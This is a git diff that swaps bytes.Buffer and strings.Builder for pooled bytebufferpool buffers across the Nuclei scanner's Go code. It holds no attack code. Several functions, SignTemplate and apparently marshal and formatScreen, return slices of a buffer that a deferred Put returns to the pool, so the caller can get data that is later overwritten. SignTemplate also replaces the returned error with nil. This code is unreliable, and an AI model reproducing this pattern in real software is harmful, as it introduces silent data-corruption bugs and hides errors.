diff --git a/cmd/docgen/docgen.go b/cmd/docgen/docgen.go index f9dc8278e4..a66f812f99 100644 --- a/cmd/docgen/docgen.go +++ b/cmd/docgen/docgen.go @@ -1,7 +1,6 @@ package main import ( - "bytes" "log" "os" "reflect" @@ -9,6 +8,7 @@ import ( "strings" "github.com/invopop/jsonschema" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/nuclei/v3/pkg/templates" "github.com/projectdiscovery/nuclei/v3/pkg/utils/json" @@ -42,8 +42,9 @@ func main() { } jsonschemaData := r.Reflect(&templates.Template{}) - var buf bytes.Buffer - encoder := json.NewEncoder(&buf) + buf := bytebufferpool.Get() + defer bytebufferpool.Put(buf) + encoder := json.NewEncoder(buf) encoder.SetIndent("", " ") _ = encoder.Encode(jsonschemaData) diff --git a/cmd/tmc/main.go b/cmd/tmc/main.go index e7f9477d7e..ea57868a86 100644 --- a/cmd/tmc/main.go +++ b/cmd/tmc/main.go @@ -1,7 +1,6 @@ package main import ( - "bytes" "fmt" "log" "os" @@ -24,6 +23,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/utils/json" "github.com/projectdiscovery/retryablehttp-go" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" "gopkg.in/yaml.v3" ) @@ -379,8 +379,9 @@ func parseAndAddMaxRequests(catalog catalog.Catalog, path, data string) (string, } infoBlock.Info.Metadata["max-request"] = template.TotalRequests - var newInfoBlock bytes.Buffer - yamlEncoder := yaml.NewEncoder(&newInfoBlock) + newInfoBlock := bytebufferpool.Get() + defer bytebufferpool.Put(newInfoBlock) + yamlEncoder := yaml.NewEncoder(newInfoBlock) yamlEncoder.SetIndent(yamlIndentSpaces) err = yamlEncoder.Encode(infoBlock) if err != nil { diff --git a/internal/pdcp/writer.go b/internal/pdcp/writer.go index e4e8e25bb6..6efefc4f5b 100644 --- a/internal/pdcp/writer.go +++ b/internal/pdcp/writer.go @@ -23,6 +23,7 @@ import ( unitutils "github.com/projectdiscovery/utils/unit" updateutils "github.com/projectdiscovery/utils/update" urlutil "github.com/projectdiscovery/utils/url" + "github.com/valyala/bytebufferpool" ) const ( @@ -151,7 +152,8 @@ func (u *UploadWriter) autoCommit(ctx context.Context, r *io.PipeReader) { } }() // temporary buffer to store the results - buff := &bytes.Buffer{} + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) ticker := time.NewTicker(flushTimer) defer ticker.Stop() for { @@ -193,7 +195,7 @@ func (u *UploadWriter) autoCommit(ctx context.Context, r *io.PipeReader) { } // uploadChunk uploads a chunk of data to the server -func (u *UploadWriter) uploadChunk(buff *bytes.Buffer) error { +func (u *UploadWriter) uploadChunk(buff *bytebufferpool.ByteBuffer) error { if err := u.upload(buff.Bytes()); err != nil { return errorutil.NewWithErr(err).Msgf("could not upload chunk") } diff --git a/internal/runner/healthcheck.go b/internal/runner/healthcheck.go index da85bd5a44..2eb475b849 100644 --- a/internal/runner/healthcheck.go +++ b/internal/runner/healthcheck.go @@ -4,17 +4,18 @@ import ( "fmt" "net" "runtime" - "strings" "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config" "github.com/projectdiscovery/nuclei/v3/pkg/types" fileutil "github.com/projectdiscovery/utils/file" + "github.com/valyala/bytebufferpool" ) // DoHealthCheck performs self-diagnostic checks func DoHealthCheck(options *types.Options) string { // RW permissions on config file - var test strings.Builder + test := bytebufferpool.Get() + defer bytebufferpool.Put(test) test.WriteString(fmt.Sprintf("Version: %s\n", config.Version)) test.WriteString(fmt.Sprintf("Operating System: %s\n", runtime.GOOS)) test.WriteString(fmt.Sprintf("Architecture: %s\n", runtime.GOARCH)) diff --git a/internal/runner/templates.go b/internal/runner/templates.go index aaa08dd663..e02f69a4ae 100644 --- a/internal/runner/templates.go +++ b/internal/runner/templates.go @@ -1,7 +1,6 @@ package runner import ( - "bytes" "path/filepath" "sort" "strings" @@ -11,6 +10,7 @@ import ( "github.com/logrusorgru/aurora" "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config" "github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v3/pkg/templates" @@ -108,9 +108,10 @@ func (r *Runner) listAvailableStoreTags(store *loader.Store) { } func (r *Runner) highlightTemplate(body *[]byte) ([]byte, error) { - var buf bytes.Buffer + buf := bytebufferpool.Get() + defer bytebufferpool.Put(buf) // YAML lexer, true color terminal formatter and monokai style - err := quick.Highlight(&buf, string(*body), "yaml", "terminal16m", "monokai") + err := quick.Highlight(buf, string(*body), "yaml", "terminal16m", "monokai") if err != nil { return nil, err } diff --git a/internal/server/dedupe.go b/internal/server/dedupe.go index f5c5b775bf..04cf11084a 100644 --- a/internal/server/dedupe.go +++ b/internal/server/dedupe.go @@ -10,6 +10,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/input/types" mapsutil "github.com/projectdiscovery/utils/maps" + "github.com/valyala/bytebufferpool" ) var dynamicHeaders = map[string]bool{ @@ -68,7 +69,9 @@ func hashRequest(req *types.RequestResponse) (string, error) { return "", err } - var hashContent strings.Builder + hashContent := bytebufferpool.Get() + defer bytebufferpool.Put(hashContent) + hashContent.WriteString(req.Request.Method) hashContent.WriteString(normalizedURL) diff --git a/internal/server/server.go b/internal/server/server.go index 259923272f..33081ffd9c 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -6,7 +6,6 @@ import ( "html/template" "net/http" "net/url" - "strings" "sync/atomic" "time" @@ -20,6 +19,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/output" "github.com/projectdiscovery/nuclei/v3/pkg/protocols" "github.com/projectdiscovery/utils/env" + "github.com/valyala/bytebufferpool" ) // DASTServer is a server that performs execution of fuzzing templates @@ -98,7 +98,8 @@ func New(options *Options) (*DASTServer, error) { } server.scopeManager = scopeManager - var builder strings.Builder + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) gologger.Debug().Msgf("Using %d parallel tasks with %d buffer", maxWorkers, bufferSize) if options.Token != "" { builder.WriteString(" (with token)") diff --git a/lib/sdk.go b/lib/sdk.go index 7f2ec5bcc2..cbd908b78a 100644 --- a/lib/sdk.go +++ b/lib/sdk.go @@ -27,6 +27,7 @@ import ( "github.com/projectdiscovery/ratelimit" "github.com/projectdiscovery/retryablehttp-go" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" ) // NucleiSDKOptions contains options for nuclei SDK @@ -188,9 +189,11 @@ func (e *NucleiEngine) SignTemplate(tmplSigner *signer.TemplateSigner, data []by return data, err } _, content := signer.ExtractSignatureAndContent(data) - buff := bytes.NewBuffer(content) + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + buff.Write(content) buff.WriteString("\n" + signatureData) - return buff.Bytes(), err + return buff.Bytes(), nil } func (e *NucleiEngine) closeInternal() { diff --git a/lib/sdk_private.go b/lib/sdk_private.go index c0d394acc5..a7e0b6a3a3 100644 --- a/lib/sdk_private.go +++ b/lib/sdk_private.go @@ -3,11 +3,11 @@ package nuclei import ( "context" "fmt" - "strings" "sync" "time" "github.com/projectdiscovery/nuclei/v3/pkg/input" + "github.com/valyala/bytebufferpool" "github.com/logrusorgru/aurora" "github.com/pkg/errors" @@ -51,7 +51,8 @@ func (e *NucleiEngine) applyRequiredDefaults(ctx context.Context) { } return } - sb := strings.Builder{} + sb := bytebufferpool.Get() + defer bytebufferpool.Put(sb) sb.WriteString(fmt.Sprintf("[%v] ", event.TemplateID)) if event.Matched != "" { sb.WriteString(event.Matched) diff --git a/pkg/catalog/config/nucleiconfig.go b/pkg/catalog/config/nucleiconfig.go index a7bb0ba23c..2a98c7ca8d 100644 --- a/pkg/catalog/config/nucleiconfig.go +++ b/pkg/catalog/config/nucleiconfig.go @@ -1,7 +1,6 @@ package config import ( - "bytes" "crypto/md5" "fmt" "log" @@ -16,6 +15,7 @@ import ( errorutil "github.com/projectdiscovery/utils/errors" fileutil "github.com/projectdiscovery/utils/file" folderutil "github.com/projectdiscovery/utils/folder" + "github.com/valyala/bytebufferpool" ) // DefaultConfig is the default nuclei configuration @@ -292,7 +292,8 @@ func (c *Config) WriteTemplatesConfig() error { // WriteTemplatesIndex writes the nuclei templates index file func (c *Config) WriteTemplatesIndex(index map[string]string) error { indexFile := c.GetTemplateIndexFilePath() - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) for k, v := range index { _, _ = buff.WriteString(k + "," + v + "\n") } diff --git a/pkg/catalog/loader/ai_loader.go b/pkg/catalog/loader/ai_loader.go index 64af399391..31c434cfe8 100644 --- a/pkg/catalog/loader/ai_loader.go +++ b/pkg/catalog/loader/ai_loader.go @@ -16,6 +16,7 @@ import ( "github.com/projectdiscovery/retryablehttp-go" pdcpauth "github.com/projectdiscovery/utils/auth/pdcp" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" ) const ( @@ -70,8 +71,9 @@ func getAIGeneratedTemplates(prompt string, options *types.Options) ([]string, e if hasNoTargets && hasNoStdin { // Display the template content with syntax highlighting if !options.NoColor { - var buf bytes.Buffer - err = quick.Highlight(&buf, template, "yaml", "terminal16m", "monokai") + buf := bytebufferpool.Get() + defer bytebufferpool.Put(buf) + err = quick.Highlight(buf, template, "yaml", "terminal16m", "monokai") if err == nil { template = buf.String() } diff --git a/pkg/external/customtemplates/azure_blob.go b/pkg/external/customtemplates/azure_blob.go index 2610e2de9c..afa041d591 100644 --- a/pkg/external/customtemplates/azure_blob.go +++ b/pkg/external/customtemplates/azure_blob.go @@ -1,7 +1,6 @@ package customtemplates import ( - "bytes" "context" "os" "path/filepath" @@ -13,6 +12,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config" "github.com/projectdiscovery/nuclei/v3/pkg/types" errorutil "github.com/projectdiscovery/utils/errors" + "github.com/valyala/bytebufferpool" ) var _ Provider = &customTemplateAzureBlob{} @@ -121,7 +121,8 @@ func downloadTemplate(client *azblob.Client, containerName string, path string, return err } - downloadedData := bytes.Buffer{} + downloadedData := bytebufferpool.Get() + defer bytebufferpool.Put(downloadedData) retryReader := get.NewRetryReader(ctx, &azblob.RetryReaderOptions{}) _, err = downloadedData.ReadFrom(retryReader) if err != nil { diff --git a/pkg/fuzz/analyzers/time/time_delay.go b/pkg/fuzz/analyzers/time/time_delay.go index 6ee46bf9ed..4b9d358afa 100644 --- a/pkg/fuzz/analyzers/time/time_delay.go +++ b/pkg/fuzz/analyzers/time/time_delay.go @@ -28,7 +28,8 @@ import ( "errors" "fmt" "math" - "strings" + + "github.com/valyala/bytebufferpool" ) type timeDelayRequestSender func(delay int) (float64, error) @@ -101,7 +102,8 @@ func checkTimingDependency( result := regression.IsWithinConfidence(correlationErrorRange, 1.0, slopeErrorRange) if result { - var resultReason strings.Builder + resultReason := bytebufferpool.Get() + defer bytebufferpool.Put(resultReason) resultReason.WriteString(fmt.Sprintf( "[time_delay] made %d requests (baseline: %.2fs) successfully, with a regression slope of %.2f and correlation %.2f", requestsLimit, diff --git a/pkg/fuzz/component/body_test.go b/pkg/fuzz/component/body_test.go index 1cfcac8352..547f0a2550 100644 --- a/pkg/fuzz/component/body_test.go +++ b/pkg/fuzz/component/body_test.go @@ -1,7 +1,6 @@ package component import ( - "bytes" "io" "mime/multipart" "strings" @@ -10,6 +9,7 @@ import ( "github.com/projectdiscovery/retryablehttp-go" urlutil "github.com/projectdiscovery/utils/url" "github.com/stretchr/testify/require" + "github.com/valyala/bytebufferpool" ) func TestBodyComponent(t *testing.T) { @@ -122,7 +122,8 @@ func TestBodyFormComponent(t *testing.T) { } func TestMultiPartFormComponent(t *testing.T) { - formData := &bytes.Buffer{} + formData := bytebufferpool.Get() + defer bytebufferpool.Put(formData) writer := multipart.NewWriter(formData) // Hypothetical form fields diff --git a/pkg/fuzz/dataformat/multipart.go b/pkg/fuzz/dataformat/multipart.go index 227025d22b..6dd47d24e6 100644 --- a/pkg/fuzz/dataformat/multipart.go +++ b/pkg/fuzz/dataformat/multipart.go @@ -9,6 +9,7 @@ import ( "net/textproto" mapsutil "github.com/projectdiscovery/utils/maps" + "github.com/valyala/bytebufferpool" ) type MultiPartForm struct { @@ -38,8 +39,9 @@ func (m *MultiPartForm) IsType(data string) bool { // Encode encodes the data into MultiPartForm format func (m *MultiPartForm) Encode(data KV) (string, error) { - var b bytes.Buffer - w := multipart.NewWriter(&b) + b := bytebufferpool.Get() + defer bytebufferpool.Put(b) + w := multipart.NewWriter(b) if err := w.SetBoundary(m.boundary); err != nil { return "", err } @@ -144,7 +146,8 @@ func (m *MultiPartForm) Decode(data string) (KV, error) { } defer file.Close() - buffer := new(bytes.Buffer) + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) if _, err := buffer.ReadFrom(file); err != nil { return KV{}, err } diff --git a/pkg/fuzz/frequency/tracker.go b/pkg/fuzz/frequency/tracker.go index 063912b4c0..729da87609 100644 --- a/pkg/fuzz/frequency/tracker.go +++ b/pkg/fuzz/frequency/tracker.go @@ -10,6 +10,7 @@ import ( "github.com/bluele/gcache" "github.com/projectdiscovery/gologger" + "github.com/valyala/bytebufferpool" ) // Tracker implements a frequency tracker for a given input @@ -121,7 +122,8 @@ func (t *Tracker) UnmarkParameter(parameter, target, template string) { } func getFrequencyKey(parameter, target, template string) string { - var sb strings.Builder + sb := bytebufferpool.Get() + defer bytebufferpool.Put(sb) sb.WriteString(target) sb.WriteString(":") sb.WriteString(template) diff --git a/pkg/fuzz/parts.go b/pkg/fuzz/parts.go index 59ac6e3ca3..a9290da9e2 100644 --- a/pkg/fuzz/parts.go +++ b/pkg/fuzz/parts.go @@ -3,7 +3,6 @@ package fuzz import ( "io" "strconv" - "strings" "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component" "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions" @@ -11,6 +10,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/types" "github.com/projectdiscovery/retryablehttp-go" sliceutil "github.com/projectdiscovery/utils/slice" + "github.com/valyala/bytebufferpool" ) // executePartRule executes part rules based on type @@ -204,10 +204,11 @@ func (rule *Rule) executeEvaluate(input *ExecuteRuleInput, _, value, payload str // executeRuleTypes executes replacement for a key and value // ex: prefix, postfix, infix, replace , replace-regex func (rule *Rule) executeRuleTypes(_ *ExecuteRuleInput, value, replacement string) string { - var builder strings.Builder - if rule.ruleType == prefixRuleType || rule.ruleType == postfixRuleType { - builder.Grow(len(value) + len(replacement)) - } + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) + // if rule.ruleType == prefixRuleType || rule.ruleType == postfixRuleType { + // builder.Grow(len(value) + len(replacement)) + // } var returnValue string switch rule.ruleType { diff --git a/pkg/input/types/http.go b/pkg/input/types/http.go index edb4e75661..8c408e9d41 100644 --- a/pkg/input/types/http.go +++ b/pkg/input/types/http.go @@ -2,7 +2,6 @@ package types import ( "bufio" - "bytes" "crypto/sha256" "fmt" "io" @@ -16,6 +15,7 @@ import ( "github.com/projectdiscovery/utils/conversion" mapsutil "github.com/projectdiscovery/utils/maps" urlutil "github.com/projectdiscovery/utils/url" + "github.com/valyala/bytebufferpool" ) var ( @@ -87,7 +87,8 @@ func (rr *RequestResponse) BuildRequest() (*retryablehttp.Request, error) { // ID returns a unique id/hash for request response func (rr *RequestResponse) ID() string { - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) buff.WriteString(rr.URL.String()) if rr.Request != nil { buff.WriteString(rr.Request.ID()) @@ -270,7 +271,8 @@ func ParseRawRequest(raw string) (rr *RequestResponse, err error) { // parse body rr.Request.Body = "" - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) _, err = buff.ReadFrom(protoReader.R) if err != nil && err != io.EOF { return nil, fmt.Errorf("failed to read body: %s", err) diff --git a/pkg/installer/template.go b/pkg/installer/template.go index 26d09f9f2f..2a63824fdd 100644 --- a/pkg/installer/template.go +++ b/pkg/installer/template.go @@ -21,6 +21,7 @@ import ( fileutil "github.com/projectdiscovery/utils/file" stringsutil "github.com/projectdiscovery/utils/strings" updateutils "github.com/projectdiscovery/utils/update" + "github.com/valyala/bytebufferpool" ) const ( @@ -43,7 +44,8 @@ type templateUpdateResults struct { // String returns markdown table of template update results func (t *templateUpdateResults) String() string { - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) data := [][]string{ { strconv.Itoa(t.totalCount), @@ -52,7 +54,7 @@ func (t *templateUpdateResults) String() string { strconv.Itoa(len(t.deletions)), }, } - table := tablewriter.NewWriter(&buff) + table := tablewriter.NewWriter(buff) table.SetHeader([]string{"Total", "Added", "Modified", "Removed"}) for _, v := range data { table.Append(v) @@ -376,7 +378,8 @@ func (t *TemplateManager) writeChecksumFileInDir(dir string) error { if err != nil { return err } - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) for k, v := range checksumMap { buff.WriteString(k) buff.WriteString(",") diff --git a/pkg/js/compiler/pool.go b/pkg/js/compiler/pool.go index ac6a3dadaa..3429baa2a1 100644 --- a/pkg/js/compiler/pool.go +++ b/pkg/js/compiler/pool.go @@ -1,7 +1,6 @@ package compiler import ( - "bytes" "context" "fmt" "reflect" @@ -39,6 +38,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/utils/json" stringsutil "github.com/projectdiscovery/utils/strings" syncutil "github.com/projectdiscovery/utils/sync" + "github.com/valyala/bytebufferpool" ) const ( @@ -136,10 +136,11 @@ func executeWithPoolingProgram(p *goja.Program, args *ExecuteArgs, opts *Execute sgResizeCheck(opts.Context) pooljsc.Add() - defer pooljsc.Done() runtime := gojapool.Get().(*goja.Runtime) + buff := bytebufferpool.Get() + defer pooljsc.Done() defer gojapool.Put(runtime) - var buff bytes.Buffer + defer bytebufferpool.Put(buff) opts.exports = make(map[string]interface{}) defer func() { diff --git a/pkg/js/devtools/bindgen/output.go b/pkg/js/devtools/bindgen/output.go index 990d1fa43e..f88d78924d 100644 --- a/pkg/js/devtools/bindgen/output.go +++ b/pkg/js/devtools/bindgen/output.go @@ -1,7 +1,6 @@ package generator import ( - "bytes" "fmt" "os" "os/exec" @@ -10,6 +9,7 @@ import ( "text/template" "github.com/pkg/errors" + "github.com/valyala/bytebufferpool" ) // markdownIndexes is a map of markdown modules to their filename index @@ -93,7 +93,8 @@ func (d *TemplateData) WriteMarkdownIndexTemplate(outputDirectory string) error } defer output.Close() - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) _, _ = buffer.WriteString("# Index\n\n") for _, v := range markdownIndexes { _, _ = buffer.WriteString(fmt.Sprintf("* %s\n", v)) diff --git a/pkg/js/devtools/scrapefuncs/main.go b/pkg/js/devtools/scrapefuncs/main.go index aac105ebc0..db9dc7d3de 100644 --- a/pkg/js/devtools/scrapefuncs/main.go +++ b/pkg/js/devtools/scrapefuncs/main.go @@ -11,6 +11,7 @@ import ( "sort" "strings" + "github.com/valyala/bytebufferpool" "golang.org/x/exp/maps" ) @@ -133,7 +134,9 @@ func main() { // Generate Markdown tables with ## as package name if out != "" { - var sb strings.Builder + sb := bytebufferpool.Get() + defer bytebufferpool.Put(sb) + sb.WriteString(`--- title: "Javascript Helper Functions" description: "Available JS Helper Functions that can be used in global js runtime & protocol specific helpers." diff --git a/pkg/js/devtools/tsgen/cmd/tsgen/main.go b/pkg/js/devtools/tsgen/cmd/tsgen/main.go index 5296c11933..56152328b8 100644 --- a/pkg/js/devtools/tsgen/cmd/tsgen/main.go +++ b/pkg/js/devtools/tsgen/cmd/tsgen/main.go @@ -1,7 +1,6 @@ package main import ( - "bytes" _ "embed" "flag" "fmt" @@ -14,6 +13,7 @@ import ( "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v3/pkg/js/devtools/tsgen" fileutil "github.com/projectdiscovery/utils/file" + "github.com/valyala/bytebufferpool" ) // Define your template @@ -84,8 +84,9 @@ func main() { } entityList = append(entityList, ep.GetEntities()...) entityList = sortEntities(entityList) - var buff bytes.Buffer - err = tmpl.Execute(&buff, entityList) + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + err = tmpl.Execute(buff, entityList) if err != nil { panic(err) } @@ -97,7 +98,8 @@ func main() { } // generating index.ts file - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) for _, dir := range dirs { buff.WriteString(fmt.Sprintf("export * as %s from './%s';\n", filepath.Base(dir), filepath.Base(dir))) } diff --git a/pkg/js/global/scripts.go b/pkg/js/global/scripts.go index 2c1d56e12b..fc171d3ce6 100644 --- a/pkg/js/global/scripts.go +++ b/pkg/js/global/scripts.go @@ -1,7 +1,6 @@ package global import ( - "bytes" "context" "embed" "math/rand" @@ -19,6 +18,7 @@ import ( "github.com/projectdiscovery/utils/errkit" errorutil "github.com/projectdiscovery/utils/errors" stringsutil "github.com/projectdiscovery/utils/strings" + "github.com/valyala/bytebufferpool" ) var ( @@ -164,7 +164,8 @@ func initBuiltInFunc(runtime *goja.Runtime) { }, Description: "ToBytes converts given input to byte slice", FuncDecl: func(call goja.FunctionCall) goja.Value { - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) allVars := []any{} for _, v := range call.Arguments { if v.Export() == nil { @@ -195,7 +196,8 @@ func initBuiltInFunc(runtime *goja.Runtime) { }, Description: "ToString converts given input to string", FuncDecl: func(call goja.FunctionCall) goja.Value { - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) for _, v := range call.Arguments { exported := v.Export() if exported != nil { diff --git a/pkg/js/libs/ldap/adenum.go b/pkg/js/libs/ldap/adenum.go index 849e4d6a15..fa5af18bfe 100644 --- a/pkg/js/libs/ldap/adenum.go +++ b/pkg/js/libs/ldap/adenum.go @@ -2,9 +2,9 @@ package ldap import ( "fmt" - "strings" "github.com/go-ldap/ldap/v3" + "github.com/valyala/bytebufferpool" ) // LDAP makes you search using an OID @@ -55,7 +55,8 @@ const ( // const filter = ldap.JoinFilters(ldap.FilterIsPerson, ldap.FilterAccountEnabled); // ``` func JoinFilters(filters ...string) string { - var builder strings.Builder + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString("(&") for _, s := range filters { builder.WriteString(s) diff --git a/pkg/js/libs/ldap/utils.go b/pkg/js/libs/ldap/utils.go index bcff41dc49..c596acc566 100644 --- a/pkg/js/libs/ldap/utils.go +++ b/pkg/js/libs/ldap/utils.go @@ -3,10 +3,10 @@ package ldap import ( "fmt" "strconv" - "strings" "time" "github.com/go-ldap/ldap/v3" + "github.com/valyala/bytebufferpool" ) type ( @@ -217,7 +217,8 @@ func DecodeSID(s string) string { offset += size } - var builder strings.Builder + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString("S-") builder.WriteString(fmt.Sprintf("%d-", revisionLvl)) builder.WriteString(fmt.Sprintf("%d", authority)) diff --git a/pkg/js/libs/mysql/mysql_private.go b/pkg/js/libs/mysql/mysql_private.go index c5f2292170..bcffbbd74e 100644 --- a/pkg/js/libs/mysql/mysql_private.go +++ b/pkg/js/libs/mysql/mysql_private.go @@ -5,7 +5,8 @@ import ( "fmt" "net" "net/url" - "strings" + + "github.com/valyala/bytebufferpool" ) type ( @@ -58,7 +59,8 @@ func BuildDSN(opts MySQLOptions) (string, error) { opts.DbName = "/" + opts.DbName } target := net.JoinHostPort(opts.Host, fmt.Sprintf("%d", opts.Port)) - var dsn strings.Builder + dsn := bytebufferpool.Get() + defer bytebufferpool.Put(dsn) dsn.WriteString(fmt.Sprintf("%v:%v", url.QueryEscape(opts.Username), opts.Password)) dsn.WriteString("@") dsn.WriteString(fmt.Sprintf("%v(%v)", opts.Protocol, target)) diff --git a/pkg/js/libs/smtp/msg.go b/pkg/js/libs/smtp/msg.go index ceabbfea68..bacb9363a3 100644 --- a/pkg/js/libs/smtp/msg.go +++ b/pkg/js/libs/smtp/msg.go @@ -2,9 +2,10 @@ package smtp import ( "bufio" - "bytes" "net/textproto" "strings" + + "github.com/valyala/bytebufferpool" ) type ( @@ -98,8 +99,9 @@ func (s *SMTPMessage) Auth(username, password string) *SMTPMessage { // log(message.String()); // ``` func (s *SMTPMessage) String() string { - var buff bytes.Buffer - tw := textproto.NewWriter(bufio.NewWriter(&buff)) + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + tw := textproto.NewWriter(bufio.NewWriter(buff)) _ = tw.PrintfLine("To: %s", strings.Join(s.to, ",")) if s.sub != "" { _ = tw.PrintfLine("Subject: %s", s.sub) diff --git a/pkg/output/format_screen.go b/pkg/output/format_screen.go index 3cdcec1e15..a88b702561 100644 --- a/pkg/output/format_screen.go +++ b/pkg/output/format_screen.go @@ -1,25 +1,25 @@ package output import ( - "bytes" "strconv" "strings" "github.com/projectdiscovery/nuclei/v3/pkg/types" mapsutil "github.com/projectdiscovery/utils/maps" + "github.com/valyala/bytebufferpool" ) // formatScreen formats the output for showing on screen. func (w *StandardWriter) formatScreen(output *ResultEvent) []byte { - builder := &bytes.Buffer{} - + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) if !w.noMetadata { if w.timestamp { - builder.WriteRune('[') + builder.WriteString("[") builder.WriteString(w.aurora.Cyan(output.Timestamp.Format("2006-01-02 15:04:05")).String()) builder.WriteString("] ") } - builder.WriteRune('[') + builder.WriteString("[") builder.WriteString(w.aurora.BrightGreen(output.TemplateID).String()) if output.MatcherName != "" { @@ -73,7 +73,7 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte { builder.WriteString(w.aurora.BrightCyan(item).String()) if i != len(output.ExtractedResults)-1 { - builder.WriteRune(',') + builder.WriteString(",") } } builder.WriteString("]") @@ -101,12 +101,12 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte { for _, name := range mapsutil.GetSortedKeys(output.Metadata) { value := output.Metadata[name] if !first { - builder.WriteRune(',') + builder.WriteString(",") } first = false builder.WriteString(w.aurora.BrightYellow(name).String()) - builder.WriteRune('=') + builder.WriteString("=") builder.WriteString(w.aurora.BrightYellow(strconv.QuoteToASCII(types.ToString(value))).String()) } builder.WriteString("]") @@ -118,7 +118,7 @@ func (w *StandardWriter) formatScreen(output *ResultEvent) []byte { if output.FuzzingParameter != "" { builder.WriteString(" [") builder.WriteString(output.FuzzingPosition) - builder.WriteRune(':') + builder.WriteString(":") builder.WriteString(w.aurora.BrightMagenta(output.FuzzingParameter).String()) builder.WriteString("]") } diff --git a/pkg/progress/progress.go b/pkg/progress/progress.go index 1ffb22ceee..7abe3923fd 100644 --- a/pkg/progress/progress.go +++ b/pkg/progress/progress.go @@ -4,12 +4,12 @@ import ( "context" "fmt" "os" - "strings" "time" "github.com/projectdiscovery/clistats" "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v3/pkg/utils/json" + "github.com/valyala/bytebufferpool" ) // Progress is an interface implemented by nuclei progress display @@ -144,7 +144,8 @@ func (p *StatsTicker) IncrementFailedRequestsBy(count int64) { func (p *StatsTicker) makePrintCallback() func(stats clistats.StatisticsClient) interface{} { return func(stats clistats.StatisticsClient) interface{} { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) var duration time.Duration if startedAt, ok := stats.GetStatic("startedAt"); ok { @@ -194,15 +195,15 @@ func (p *StatsTicker) makePrintCallback() func(stats clistats.StatisticsClient) builder.WriteString(" | Requests: ") } builder.WriteString(clistats.String(requests)) - builder.WriteRune('/') + builder.WriteString("/") builder.WriteString(clistats.String(total)) - builder.WriteRune(' ') - builder.WriteRune('(') + builder.WriteString(" ") + builder.WriteString("(") //nolint:gomnd // this is not a magic number builder.WriteString(clistats.String(uint64(float64(requests) / float64(total) * 100.0))) - builder.WriteRune('%') - builder.WriteRune(')') - builder.WriteRune('\n') + builder.WriteString("%") + builder.WriteString(")") + builder.WriteString("\n") } fmt.Fprintf(os.Stderr, "%s", builder.String()) @@ -211,7 +212,8 @@ func (p *StatsTicker) makePrintCallback() func(stats clistats.StatisticsClient) } func printCallbackJSON(stats clistats.StatisticsClient) interface{} { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) if err := json.NewEncoder(builder).Encode(metricsMap(stats)); err == nil { fmt.Fprintf(os.Stderr, "%s", builder.String()) } diff --git a/pkg/projectfile/httputil.go b/pkg/projectfile/httputil.go index dafeff3fd8..472cdfc801 100644 --- a/pkg/projectfile/httputil.go +++ b/pkg/projectfile/httputil.go @@ -7,6 +7,8 @@ import ( "encoding/hex" "io" "net/http" + + "github.com/valyala/bytebufferpool" ) func hash(v interface{}) (string, error) { @@ -24,8 +26,9 @@ func hash(v interface{}) (string, error) { } func marshal(data interface{}) ([]byte, error) { - var b bytes.Buffer - enc := gob.NewEncoder(&b) + b := bytebufferpool.Get() + defer bytebufferpool.Put(b) + enc := gob.NewEncoder(b) if err := enc.Encode(data); err != nil { return nil, err } diff --git a/pkg/protocols/code/code.go b/pkg/protocols/code/code.go index b3344d08d4..1fa5d0a413 100644 --- a/pkg/protocols/code/code.go +++ b/pkg/protocols/code/code.go @@ -12,6 +12,7 @@ import ( "github.com/ditashi/jsbeautifier-go/jsbeautifier" "github.com/dop251/goja" "github.com/pkg/errors" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/gozero" @@ -191,8 +192,9 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa if request.options.Options.NoColor { highlightFormatter = "text" } - var buff bytes.Buffer - _ = quick.Highlight(&buff, beautifyJavascript(request.PreCondition), 